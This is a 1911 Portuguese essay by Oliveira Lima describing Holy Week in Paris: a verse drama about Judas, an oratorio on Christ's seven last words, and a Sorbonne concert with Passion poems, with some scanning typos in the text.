A SEMANA SANTA EM PARIS

A SEMANA SANTA EM PARIS

Oliveira Lima

O privilégio das grandes cidades — e penso que grandes cidades só o são, verdadeiramente, na plena acepção do termo, Londres e Paris — é terem distrações, prazeres, ocupações e entretimentos de todo gênero, de todo custo e para todos os gostos. Em Paris só é ocioso quem quer, isto é, só deixa de empregar sua atividade, para o bem ou para o mal, quem realmente fôr dotado da indolência de uma preguiça ou da indiferença de uma lesma. A Semana Santa, por exemplo, oferece aos que possuem Aitimentos devotos e praticam o seu culto uma infinidade de cerimonias religiosas, que a separação da Igreja e do Estado não faz empalidecer nem diminuir. Por outro lado, os que desligaram da tradição teológica e esqueceram o caminho dos templos e o recurso da oração encontram nos teatros representações de dramas sacros e, quando não sacros, de assunto cristão, assim como encoqtram nas igrejas concertos e recitações transplantadas dos palcos, repassadas muito embora de uma maior ou menor religiosidade.

Não tenho em demonstração mais do que referir o modo por que empreguei as minhas tardes de quinta-feira, sexta-feira e sábado santos, deixando, talvez erradamente, de ir gozar no campo esta deliciosa entrada de primavera, que este ano está desfrutando a Europa ocidental sob um céu de um azul esmaecido mas perfeito, e um sol brilhante que ainda aquece apenas o bastante para não nos podermos queixar do seu ardor.

Na quinta-feira assisti no teatro Antoine à representação do Judas, peça em quatro atos, em verso, do Sr. Achille Richard. Para quem viu há poucos meses a Paixão de Oberammergan, o espetáculo terá certamente parecido convencional e inferior, faltando-lhe tanto unção como emoção. Literariamente mesmo, de um ponto-de-vista mais restrito, a peça não vale muito. Os versos não possuem originalidade nem como ritmo, nem como conceitos. Entretanto, a base não é destituída de interesse. O traidor legendário é apresentado como um espírito no qual, por motivos de raça — Judas era propriamente judeu, ao passo que Jesus e seus outros discípulos eram galileus —, de conseqüente diferença de mentalidade e sobretudo de aspirações e mesmo de idiossincrasia individual, a moral de Cristo produzia fraca impressão.

Judas, o homem de Iscariote, só enxergava ou queria enxergar no homem de Nazaré, em Jesus, o Messias, anunciado pelos profetas bíblicos, Messias belicoso e por fim triunfante, que levantaria

o povo de Israel, oprimido pela tirania de Roma, e o guiaria à vitória temporal. Quando Judas viu porém Jesus aproximar-se de Jerusalém tão-sòmente usando de práticas suaves, aí entrar pacificamente montado num burrinho, por entre as aclamações dos humildes e dos fracos, empunhando as palmas farfalhantes, velhos, crianças e até mulheres, para as quais era tão dura a lei de Moisés, dissiparam-se-lhe as últimas ilusões e a sua alma torturada pela dúvida e pela decepção prestou ouvidos às sugestões velhacas e intolerantes do Sinedrim, e levou a sua vontade a entregar num dia o Mestre para arrepender-se sua sensibilidade no dia imediato da felonia cometida e, perseguido pelo remorso, procurar o criminoso no suicídio a expiação.

A circunstância de ser Judas o personagem principal do drama dispensa este de predicados que hoje é quase impossível emprestar a semelhantes peças, as quais têm de ser tratadas, segundo escreve um crítico, com forte majestade ou com doce ingenuidade. Personagens sobre-humanos podem ser tanto menos desenhados com traços humanos, “quando o tempo e a piedade dos homens revestiram de mistério e perfumaram de eterno frescor as palavras legendárias que nos conservou a Escritura ou a história”.

Fazendo Judas desconhecer a missão universal de Cristo, o autor colocou-se num terreno humano e por conseguinte seguro: o seu herói almeja um patriota, quando de fato se encontra diante de um Deus. O Messias judaico eclipsava aos seus olhos espirituais o Messias do mundo, e tinha perfeita razão Maria de Magdala quando, ao terminar a peça por entre as imprecações de Judas contra o seu próprio feito, quando vê passar a caminho do Gólgota Jesus carregando o lenho, implora para êle a piedade divina porque, como o povo de Israel, “não soube ver”.

A ambição nacionalista escondeu a imensa caridade que brotava da simpatia do criador pela criatura, da divindade pelo homem. Maria de Magdala simboliza a intuição, o amor do infinito desabrochado na alma da pecadora saciada de amor sensual, ao lado da senilidade mesquinha e atormentada do discípulo infiel em quem mais puderam as ruins paixões do que o anelo moral.

Na Sexta-Feira Santa tentou-me a execução em S. Nicolao du Chardonnet, velha igreja do século XVII que fica na esquina do boulevard St. Germain e da Rua Monge, e que põe a nota discreta e melancólica da sua cantaria enegrecida pelo tempo entre as^facha-das claras e arrebicadas do Paris reconstruído, do oratório do maestro de La Voute intitulado “As Sete Palavras de Cristo no Calvário”.

Explicava-as do púlpito um pregador medíocre que amesquinha-ya a música inspirada do compositor. Concordo plenamente com o Sr. José Veríssimo em que o sermão é um gênero literário inferior, srbretudo porque é um gênero estacionário, que não evolui; mas o que principalmente eu censuro aos pregadores é não reformarem o espírito das suas orações. O Evangelho oferece ensinamentos suges-_ vos e tocantes que não pode apresentar o puro aspecto dogmático da doutrina cristã, que a uns parecerá indiferente e a outros até

anacrônico, e que para os próprios fiéis tem o defeito de vser familiar desde a infância e de mal^e adaptar às condições sociais, as quais pelo contrário oferecem um vastíssimo e fértil campo onde se exercer o prestígio da superior moral evangélica.

Dentre aquelas sete palavras de Cristo sobre a cruz, algumas há que, contrastando com os sofrimentos atrozes da agonia humana do Deus, são de uma infinita doçura e de uma caridade sublime, ganhando a sua análise, para todos os corações como para todos os cérebros, em ser feita à luz da moral em vez de sê-lo à luz da teologia. A tradição eclesiástica parece não o querer porém assim, e o resultado era, na Sexta-Feira Santa e na Igreja de S. Nicolao du Chardonnet, que as melodias do compositor e as vozes dos cantores, dotadas umas e outras de sentimentos artísticos, condiziam muito mais, exprimiam muito melhor as palavras divinas do que o comentário apostólico do pregador. E creio que nesta impressão comungariam os doutos o os incultos.

No sábado de Aleluia a combinação entre religião e teatro estabeleceu-se perfeita na igreja da Sorbonne, onde jaz sepultado, sob um belo túmulo de mármore, o Cardeal Richeleu, e onde os cantores de St. Gervais tinham organizado para aquela data um concerto espiritual acompanhando uma audição dos poemas da Paixão de Le-conte de Lisle, ditos por Monnet-Sully. O decano da Comédia Francesa lia diante do altar-mor, velado por uma guarnição de plantas verdes, os versos do grande poeta para quem a harmonia não tinha segredos e a cada passagem seguia-se um trecho musical apropriado, cantado pelo coro ou pelos solistas, de um dos grandes mestres alemães ou italianos — Bach, Haendel, Haydn, Mozart, Schutz, Palestrina, Vittoria e Carissimi — do tempo em que a música religiosa correspondia realmente a uma preferência artística e era cultivada com a paixão gerada pela inspiração e com o fervor mantido pela fé.

Paris, abril de 1911

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

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